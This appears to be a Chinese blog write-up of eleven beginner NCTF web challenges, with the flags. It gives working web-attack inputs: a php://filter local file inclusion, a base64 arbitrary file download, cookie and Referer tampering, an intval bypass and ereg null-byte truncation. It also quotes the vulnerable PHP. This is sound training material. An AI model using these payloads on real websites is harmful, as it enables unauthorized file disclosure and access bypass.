寒假第三周CTFwp

0x00

本周做了NCTF的几道题,分享一下wp。
原题链接

1 层层递进

脑洞题:
一开始没思路,后来F12找线索,然后发现了几个比较可疑的文件,发现一个404.html,打开试了一下。

查看源代码,发现有段js被注释了,仔细看看这段js代码。一眼就看出了flag。

nctf{this_is_a_fl4g}

2 AAencode

明显是编码,还做过类似的。console解释即可。
nctf{javascript_aaencode}

3 单身二十年


真信了,点进去没有,返回查看源码,看到了,php的地址,进入可以看到flag。

nctf{yougotit_script_now}

4 你从哪里来

are you from google?

明显让我们构造一个来自谷歌的地址,想到http请求的Referer字段,记录从哪个网址进入当前网址。

但是并没有出来flag。网上搜了一下,一样的做法,比较懵。。。

5 php decode


function CLsI($ZzvSWE) {

    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

利用php解码,只要把eval函数换成echo,即可。

得到flag:nctf{gzip_base64_hhhhhh}

6 文件包含

让我点,就点进去了。出来了这个url:

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

很明显有文件包含在里面。一开始以为会把flag放在其他文件,文件包含来读。但是因为不知道flag包含在哪个文件,摸黑试了几个,但是没用,于是放弃了这个方法。

了解了新的姿势

可以构造php://filter 语句过滤,可以得到index.php的源码(base64加密
)。

file=php://filter/read=convert.base64-encode/resource=index.php


解密得到源码,然后就得到flag了。

<html>
    <title>asdftitle>

(0);
    if(!$_GET[file]){echo 'click me? no';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
html>

7 单身二十年也没用

在消息头,没意思。

得到flag: nctf{this_is_302_redirect}

8 Download


查看源码:

发现下载链接的url:

download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=

于是想下载download.php看看。

?url=ZG93bmxvYWQucGhw
http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw

看到源码,^_^


error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
    $file_size = filesize($url);
    header ( "Pragma: public" );
    header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
    header ( "Cache-Control: private", false );
    header ( "Content-Transfer-Encoding: binary" );
    header ( "Content-Type:audio/mpeg MP3");
    header ( "Content-Length: " . $file_size);
    header ( "Content-Disposition: attachment; filename=".$url);
    echo(file_get_contents($url));
    exit;
}
else {
    echo "Access Forbidden!";
}
?>

又看到一个文件:hereiskey.php ,估计flag就在这里面。

?url=aGVyZWlza2V5LnBocA==
http://way.nuptzj.cn/web6/download.php?url=aGVyZWlza2V5LnBocA==

得到flag:nctf{download_any_file_666}

9 cookie

提示0 == no
那么1 == yes
容易想到修改cookie字段Login的值为Login=1;
得到flag。
flag:nctf{cookie_is_different_from_session}

10 MYSQL


写过爬虫的都知道robots协议,百科传送门


if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "

no! try again

"
; } else{ echo($query[content]); } } ?>

很明显输入一个id值,由于GET方法,直接在url中输入即可,
id!=1024,
但是where id =’ id,怀 i d ′ , 怀 疑 id=intval($_GET[id])==1024,
于是试了一下?id=1024.5,过了。

chinalover.sinaapp.com/web11/sql.php?id=1024.5

the flag is:nctf{query_in_mysql}

11 /x00

源码:

if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

变量nctf 要是数字而且要包含#biubiubiu,很神奇吧,怎么可能呢。。。
其实提示说了,/x00,想到用/x00截断,那么原理是什么呢?
这里ereg有两个漏洞
1. %00截断及遇到%00则默认为字符串的结束
2. 当nctf为数组时它的返回值不是FALSE

所以有两个方法去攻这道题目
1. 令nctf=123%00#biubiubiu
2. 令nctf为数组则,nctf[]=111

附加:

=== 格式也等
!== (0!==false 为true)

所以,这道题的解法就出来了:

1. ?nctf=123%00%23biubiubiu    
2. ?nctf[]=12


flag:nctf{use_00_to_jieduan}

你可能感兴趣的:(寒假第三周CTFwp)